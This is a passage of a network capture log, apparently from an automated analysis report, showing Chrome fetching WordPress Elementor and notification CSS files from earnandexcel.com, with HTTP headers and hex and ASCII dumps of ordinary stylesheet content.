2024-04-11 21:26:37 UTC	923	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:37 GMT Content-Type: text/css; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e51ce2b42b2-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-596" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cniAF2M3vqZVZMuTKRV7W3DF8BWO7ZtAZZc0iljmbl73oM5uDeAnJJ4VFL3X%2B%2FxWksWAd4H6dzFXk5nzi1DhyJawQGU6uws0Mr1fn6VhHUZZldBm90CWC6PJ9oJ2aW8sd68%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:37 UTC	446	IN	Data Raw: 35 39 36 0d 0a 23 67 72 6f 77 6c 73 2d 62 63 2c 23 67 72 6f 77 6c 73 2d 62 6c 2c 23 67 72 6f 77 6c 73 2d 62 72 2c 23 67 72 6f 77 6c 73 2d 63 63 2c 23 67 72 6f 77 6c 73 2d 63 6c 2c 23 67 72 6f 77 6c 73 2d 63 72 2c 23 67 72 6f 77 6c 73 2d 64 65 66 61 75 6c 74 2c 23 67 72 6f 77 6c 73 2d 74 63 2c 23 67 72 6f 77 6c 73 2d 74 6c 2c 23 67 72 6f 77 6c 73 2d 74 72 2c 2e 6f 6e 74 6f 70 7b 7a 2d 69 6e 64 65 78 3a 35 30 30 30 30 3b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 7d 23 67 72 6f 77 6c 73 2d 64 65 66 61 75 6c 74 2c 23 67 72 6f 77 6c 73 2d 74 72 7b 74 6f 70 3a 31 30 70 78 3b 72 69 67 68 74 3a 31 30 70 78 7d 23 67 72 6f 77 6c 73 2d 74 6c 7b 74 6f 70 3a 31 30 70 78 3b 6c 65 66 74 3a 31 30 70 78 7d 23 67 72 6f 77 6c 73 2d 62 6c 7b 62 6f 74 74 6f 6d 3a 31 30 70 78 Data Ascii: 596#growls-bc,#growls-bl,#growls-br,#growls-cc,#growls-cl,#growls-cr,#growls-default,#growls-tc,#growls-tl,#growls-tr,.ontop{z-index:50000;position:fixed}#growls-default,#growls-tr{top:10px;right:10px}#growls-tl{top:10px;left:10px}#growls-bl{bottom:10px
2024-04-11 21:26:37 UTC	991	IN	Data Raw: 3a 35 30 25 3b 6c 65 66 74 3a 31 30 70 78 7d 23 67 72 6f 77 6c 73 2d 63 72 7b 74 6f 70 3a 35 30 25 3b 72 69 67 68 74 3a 31 30 70 78 7d 23 67 72 6f 77 6c 73 2d 62 63 20 2e 67 72 6f 77 6c 2c 23 67 72 6f 77 6c 73 2d 74 63 20 2e 67 72 6f 77 6c 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 61 75 74 6f 7d 2e 67 72 6f 77 6c 7b 6f 70 61 63 69 74 79 3a 2e 38 3b 66 69 6c 74 65 72 3a 61 6c 70 68 61 28 6f 70 61 63 69 74 79 3d 38 30 29 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 34 70 78 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 2e 34 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 2d 6d 6f 7a 2d 74 72 61 6e 73 69 74 69 6f 6e 3a 61 6c 6c 20 2e Data Ascii: :50%;left:10px}#growls-cr{top:50%;right:10px}#growls-bc .growl,#growls-tc .growl{margin-left:auto;margin-right:auto}.growl{opacity:.8;filter:alpha(opacity=80);position:relative;border-radius:4px;-webkit-transition:all .4s ease-in-out;-moz-transition:all .
2024-04-11 21:26:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.17	49726	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:36 UTC	605	OUT	GET /wp-content/plugins/elementor/assets/lib/eicons/css/elementor-icons.min.css HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:37 UTC	926	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:37 GMT Content-Type: text/css; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e521be70f97-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"64b837e7-4ab8" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Wed, 19 Jul 2023 19:22:15 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nJSjtVcluHeb7178LHvLtZOSvJPkdQQ6QjD7V4EX%2B%2BHFDJ9qXYgwYgg9EH04%2BmF11BVFmk1CB9wKrs8z5FPD2KYk7iVnR5EPxyahPWxOmIpUcGl52SFCP9duAKLFve05okE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:37 UTC	443	IN	Data Raw: 34 61 62 38 0d 0a 2f 2a 21 20 65 6c 65 6d 65 6e 74 6f 72 2d 69 63 6f 6e 73 20 2d 20 76 35 2e 31 35 2e 30 20 2d 20 33 30 2d 30 31 2d 32 30 32 32 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 65 69 63 6f 6e 73 3b 73 72 63 3a 75 72 6c 28 2e 2e 2f 66 6f 6e 74 73 2f 65 69 63 6f 6e 73 2e 65 6f 74 3f 35 2e 31 35 2e 30 29 3b 73 72 63 3a 75 72 6c 28 2e 2e 2f 66 6f 6e 74 73 2f 65 69 63 6f 6e 73 2e 65 6f 74 3f 35 2e 31 35 2e 30 23 69 65 66 69 78 29 20 66 6f 72 6d 61 74 28 22 65 6d 62 65 64 64 65 64 2d 6f 70 65 6e 74 79 70 65 22 29 2c 75 72 6c 28 2e 2e 2f 66 6f 6e 74 73 2f 65 69 63 6f 6e 73 2e 77 6f 66 66 32 3f 35 2e 31 35 2e 30 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 32 22 29 2c 75 72 6c 28 2e 2e 2f 66 6f 6e 74 73 2f 65 69 63 6f Data Ascii: 4ab8/! elementor-icons - v5.15.0 - 30-01-2022 /@font-face{font-family:eicons;src:url(../fonts/eicons.eot?5.15.0);src:url(../fonts/eicons.eot?5.15.0#iefix) format("embedded-opentype"),url(../fonts/eicons.woff2?5.15.0) format("woff2"),url(../fonts/eico
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 63 6c 61 73 73 5e 3d 65 69 63 6f 6e 5d 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 65 69 63 6f 6e 73 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 68 65 72 69 74 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 76 61 72 69 61 6e 74 3a 6e 6f 72 6d 61 6c 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 3b 74 65 78 74 2d 72 65 6e 64 65 72 69 6e 67 3a 61 75 74 6f 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 3b 2d 6d 6f 7a 2d 6f 73 78 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 67 72 61 79 73 63 61 6c 65 7d 40 6b 65 79 66 72 61 6d 65 73 20 61 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a Data Ascii: class^=eicon]{display:inline-block;font-family:eicons;font-size:inherit;font-weight:400;font-style:normal;font-variant:normal;line-height:1;text-rendering:auto;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}@keyframes a{0%{transform:
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 72 64 69 6f 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 31 38 27 7d 2e 65 69 63 6f 6e 2d 61 6c 65 72 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 31 39 27 7d 2e 65 69 63 6f 6e 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 65 78 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 31 61 27 7d 2e 65 69 63 6f 6e 2d 61 6e 69 6d 61 74 69 6f 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 31 62 27 7d 2e 65 69 63 6f 6e 2d 62 61 6e 6e 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 31 63 27 7d 2e 65 69 63 6f 6e 2d 62 6c 6f 63 6b 71 75 6f 74 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 31 64 27 7d 2e 65 69 63 6f 6e 2d 62 75 74 74 6f 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e Data Ascii: rdion:before{content:'\e818'}.eicon-alert:before{content:'\e819'}.eicon-animation-text:before{content:'\e81a'}.eicon-animation:before{content:'\e81b'}.eicon-banner:before{content:'\e81c'}.eicon-blockquote:before{content:'\e81d'}.eicon-button:before{conten
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 33 38 27 7d 2e 65 69 63 6f 6e 2d 69 6e 66 6f 2d 62 6f 78 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 33 39 27 7d 2e 65 69 63 6f 6e 2d 69 6e 6e 65 72 2d 73 65 63 74 69 6f 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 33 61 27 7d 2e 65 69 63 6f 6e 2d 6d 61 69 6c 63 68 69 6d 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 33 62 27 7d 2e 65 69 63 6f 6e 2d 6d 65 6e 75 2d 63 61 72 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 33 63 27 7d 2e 65 69 63 6f 6e 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 68 6f 72 69 7a 6f 6e 74 61 6c 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 33 64 27 7d 2e 65 69 63 6f 6e 2d 6e 61 76 2d 6d 65 6e 75 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 33 Data Ascii: 38'}.eicon-info-box:before{content:'\e839'}.eicon-inner-section:before{content:'\e83a'}.eicon-mailchimp:before{content:'\e83b'}.eicon-menu-card:before{content:'\e83c'}.eicon-navigation-horizontal:before{content:'\e83d'}.eicon-nav-menu:before{content:'\e83
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 72 2d 70 75 73 68 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 35 61 27 7d 2e 65 69 63 6f 6e 2d 73 6c 69 64 65 72 2d 76 65 72 74 69 63 61 6c 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 35 62 27 7d 2e 65 69 63 6f 6e 2d 73 6c 69 64 65 72 2d 76 69 64 65 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 35 63 27 7d 2e 65 69 63 6f 6e 2d 73 6c 69 64 65 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 35 64 27 7d 2e 65 69 63 6f 6e 2d 73 6f 63 69 61 6c 2d 69 63 6f 6e 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 35 65 27 7d 2e 65 69 63 6f 6e 2d 73 70 61 63 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 35 66 27 7d 2e 65 69 63 6f 6e 2d 74 61 62 6c 65 3a 62 65 66 6f 72 65 Data Ascii: r-push:before{content:'\e85a'}.eicon-slider-vertical:before{content:'\e85b'}.eicon-slider-video:before{content:'\e85c'}.eicon-slides:before{content:'\e85d'}.eicon-social-icons:before{content:'\e85e'}.eicon-spacer:before{content:'\e85f'}.eicon-table:before
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 37 63 27 7d 2e 65 69 63 6f 6e 2d 63 68 65 76 72 6f 6e 2d 72 69 67 68 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 37 64 27 7d 2e 65 69 63 6f 6e 2d 63 68 65 76 72 6f 6e 2d 6c 65 66 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 37 65 27 7d 2e 65 69 63 6f 6e 2d 63 6c 6f 73 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 37 66 27 7d 2e 65 69 63 6f 6e 2d 66 69 6c 65 2d 64 6f 77 6e 6c 6f 61 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 38 30 27 7d 2e 65 69 63 6f 6e 2d 73 61 76 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 38 31 27 7d 2e 65 69 63 6f 6e 2d 7a 6f 6f 6d 2d 69 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c Data Ascii: fore{content:'\e87c'}.eicon-chevron-right:before{content:'\e87d'}.eicon-chevron-left:before{content:'\e87e'}.eicon-close:before{content:'\e87f'}.eicon-file-download:before{content:'\e880'}.eicon-save:before{content:'\e881'}.eicon-zoom-in:before{content:'\
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 39 64 27 7d 2e 65 69 63 6f 6e 2d 61 6e 67 6c 65 2d 72 69 67 68 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 39 65 27 7d 2e 65 69 63 6f 6e 2d 61 6e 67 6c 65 2d 6c 65 66 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 39 66 27 7d 2e 65 69 63 6f 6e 2d 61 6e 69 6d 61 74 65 64 2d 68 65 61 64 6c 69 6e 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 61 30 27 7d 2e 65 69 63 6f 6e 2d 6d 65 6e 75 2d 74 6f 67 67 6c 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 61 31 27 7d 2e 65 69 63 6f 6e 2d 66 62 2d 65 6d 62 65 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 61 32 27 7d 2e 65 69 63 6f 6e 2d 66 62 2d 66 65 65 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 61 33 27 7d 2e Data Ascii: 9d'}.eicon-angle-right:before{content:'\e89e'}.eicon-angle-left:before{content:'\e89f'}.eicon-animated-headline:before{content:'\e8a0'}.eicon-menu-toggle:before{content:'\e8a1'}.eicon-fb-embed:before{content:'\e8a2'}.eicon-fb-feed:before{content:'\e8a3'}.
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 38 62 65 27 7d 2e 65 69 63 6f 6e 2d 61 72 72 6f 77 2d 6c 65 66 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 62 66 27 7d 2e 65 69 63 6f 6e 2d 61 72 72 6f 77 2d 72 69 67 68 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 63 30 27 7d 2e 65 69 63 6f 6e 2d 61 72 72 6f 77 2d 75 70 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 63 31 27 7d 2e 65 69 63 6f 6e 2d 61 72 72 6f 77 2d 64 6f 77 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 63 32 27 7d 2e 65 69 63 6f 6e 2d 70 6c 61 79 2d 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 63 33 27 7d 2e 65 69 63 6f 6e 2d 61 72 63 68 69 76 65 2d 70 6f 73 74 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 63 34 27 7d 2e 65 69 63 6f 6e Data Ascii: 8be'}.eicon-arrow-left:before{content:'\e8bf'}.eicon-arrow-right:before{content:'\e8c0'}.eicon-arrow-up:before{content:'\e8c1'}.eicon-arrow-down:before{content:'\e8c2'}.eicon-play-o:before{content:'\e8c3'}.eicon-archive-posts:before{content:'\e8c4'}.eicon
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 38 64 65 27 7d 2e 65 69 63 6f 6e 2d 70 72 6f 64 75 63 74 2d 74 61 62 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 64 66 27 7d 2e 65 69 63 6f 6e 2d 70 72 6f 64 75 63 74 2d 74 69 74 6c 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 65 30 27 7d 2e 65 69 63 6f 6e 2d 70 72 6f 64 75 63 74 2d 75 70 73 65 6c 6c 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 65 31 27 7d 2e 65 69 63 6f 6e 2d 70 72 6f 64 75 63 74 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 65 32 27 7d 2e 65 69 63 6f 6e 2d 62 61 67 2d 6c 69 67 68 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 65 33 27 7d 2e 65 69 63 6f 6e 2d 62 61 67 2d 6d 65 64 69 75 6d 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 38 65 34 Data Ascii: 8de'}.eicon-product-tabs:before{content:'\e8df'}.eicon-product-title:before{content:'\e8e0'}.eicon-product-upsell:before{content:'\e8e1'}.eicon-products:before{content:'\e8e2'}.eicon-bag-light:before{content:'\e8e3'}.eicon-bag-medium:before{content:'\e8e4
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 3a 27 5c 65 39 30 30 27 7d 2e 65 69 63 6f 6e 2d 66 6c 6f 77 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 39 30 31 27 7d 2e 65 69 63 6f 6e 2d 63 75 72 73 6f 72 2d 6d 6f 76 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 39 30 32 27 7d 2e 65 69 63 6f 6e 2d 61 72 72 6f 77 2d 63 69 72 63 6c 65 2d 6c 65 66 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 39 30 33 27 7d 2e 65 69 63 6f 6e 2d 66 6c 61 73 68 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 39 30 34 27 7d 2e 65 69 63 6f 6e 2d 72 65 64 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 39 30 35 27 7d 2e 65 69 63 6f 6e 2d 62 61 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 5c 65 39 30 36 27 7d 2e 65 69 63 6f 6e 2d 62 61 72 63 6f 64 65 3a 62 Data Ascii: :'\e900'}.eicon-flow:before{content:'\e901'}.eicon-cursor-move:before{content:'\e902'}.eicon-arrow-circle-left:before{content:'\e903'}.eicon-flash:before{content:'\e904'}.eicon-redo:before{content:'\e905'}.eicon-ban:before{content:'\e906'}.eicon-barcode:b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.17	49725	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:36 UTC	594	OUT	GET /wp-content/plugins/elementor/assets/css/frontend-legacy.min.css HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:37 UTC	926	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:37 GMT Content-Type: text/css; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e522bb84380-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"64b837e7-35ed" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Wed, 19 Jul 2023 19:22:15 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ALGT%2FRnR%2FTvOn1G0sedQxtKDORYv4iPy5StJ0vfFgeYGfCtZJ05ZHGrgBWQVqGGWbpy263bUPi9SNiQuo0ykN4QIdDN3Q%2BNDIph5EgtnvbPiO7ouwNfTR8x3wovSGIXG94Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:37 UTC	443	IN	Data Raw: 33 35 65 64 0d 0a 2f 2a 21 20 65 6c 65 6d 65 6e 74 6f 72 20 2d 20 76 33 2e 36 2e 30 20 2d 20 32 31 2d 30 33 2d 32 30 32 32 20 2a 2f 0a 2e 65 6c 65 6d 65 6e 74 6f 72 2d 62 63 2d 66 6c 65 78 2d 77 69 64 67 65 74 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 73 65 63 74 69 6f 6e 2d 63 6f 6e 74 65 6e 74 2d 74 6f 70 3e 2e 65 6c 65 6d 65 6e 74 6f 72 2d 63 6f 6e 74 61 69 6e 65 72 3e 2e 65 6c 65 6d 65 6e 74 6f 72 2d 72 6f 77 3e 2e 65 6c 65 6d 65 6e 74 6f 72 2d 63 6f 6c 75 6d 6e 3e 2e 65 6c 65 6d 65 6e 74 6f 72 2d 63 6f 6c 75 6d 6e 2d 77 72 61 70 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 61 6c 69 67 6e 3a 73 74 61 72 74 3b 2d 6d 73 2d 66 6c 65 78 2d 61 6c 69 67 6e 3a 73 74 61 72 74 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 66 6c 65 78 2d 73 74 61 72 74 7d 2e 65 6c 65 6d 65 6e 74 Data Ascii: 35ed/! elementor - v3.6.0 - 21-03-2022 /.elementor-bc-flex-widget .elementor-section-content-top>.elementor-container>.elementor-row>.elementor-column>.elementor-column-wrap{-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start}.element
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 63 65 6e 74 65 72 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 62 63 2d 66 6c 65 78 2d 77 69 64 67 65 74 20 2e 65 6c 65 6d 65 6e 74 6f 72 2d 73 65 63 74 69 6f 6e 2d 63 6f 6e 74 65 6e 74 2d 62 6f 74 74 6f 6d 3e 2e 65 6c 65 6d 65 6e 74 6f 72 2d 63 6f 6e 74 61 69 6e 65 72 3e 2e 65 6c 65 6d 65 6e 74 6f 72 2d 72 6f 77 3e 2e 65 6c 65 6d 65 6e 74 6f 72 2d 63 6f 6c 75 6d 6e 3e 2e 65 6c 65 6d 65 6e 74 6f 72 2d 63 6f 6c 75 6d 6e 2d 77 72 61 70 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 61 6c 69 67 6e 3a 65 6e 64 3b 2d 6d 73 2d 66 6c 65 78 2d 61 6c 69 67 6e 3a 65 6e 64 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 66 6c 65 78 2d 65 6e 64 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 63 6f 6c 75 6d 6e 2d 67 61 70 2d 6e 61 72 72 6f 77 3e 2e 65 6c 65 6d 65 6e 74 6f 72 2d 72 6f 77 3e 2e 65 6c 65 6d Data Ascii: center}.elementor-bc-flex-widget .elementor-section-content-bottom>.elementor-container>.elementor-row>.elementor-column>.elementor-column-wrap{-webkit-box-align:end;-ms-flex-align:end;align-items:flex-end}.elementor-column-gap-narrow>.elementor-row>.elem
2024-04-11 21:26:37 UTC	1369	IN	Data Raw: 75 70 3a 38 3b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 37 3b 6f 72 64 65 72 3a 37 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 72 65 76 65 72 73 65 2d 77 69 64 65 73 63 72 65 65 6e 3e 2e 65 6c 65 6d 65 6e 74 6f 72 2d 63 6f 6e 74 61 69 6e 65 72 3e 2e 65 6c 65 6d 65 6e 74 6f 72 2d 72 6f 77 3e 3a 6e 74 68 2d 63 68 69 6c 64 28 35 29 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6c 2d 67 72 6f 75 70 3a 37 3b 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 36 3b 6f 72 64 65 72 3a 36 7d 2e 65 6c 65 6d 65 6e 74 6f 72 2d 72 65 76 65 72 73 65 2d 77 69 64 65 73 63 72 65 65 6e 3e 2e 65 6c 65 6d 65 6e 74 6f 72 2d 63 6f 6e 74 61 69 6e 65 72 3e 2e 65 6c 65 6d 65 6e 74 6f 72 2d 72 6f 77 3e 3a 6e 74 68 2d 63 68 69 6c 64 28 36 29 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d Data Ascii: up:8;-ms-flex-order:7;order:7}.elementor-reverse-widescreen>.elementor-container>.elementor-row>:nth-child(5){-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.elementor-reverse-widescreen>.elementor-container>.elementor-row>:nth-child(6){-webkit-box-
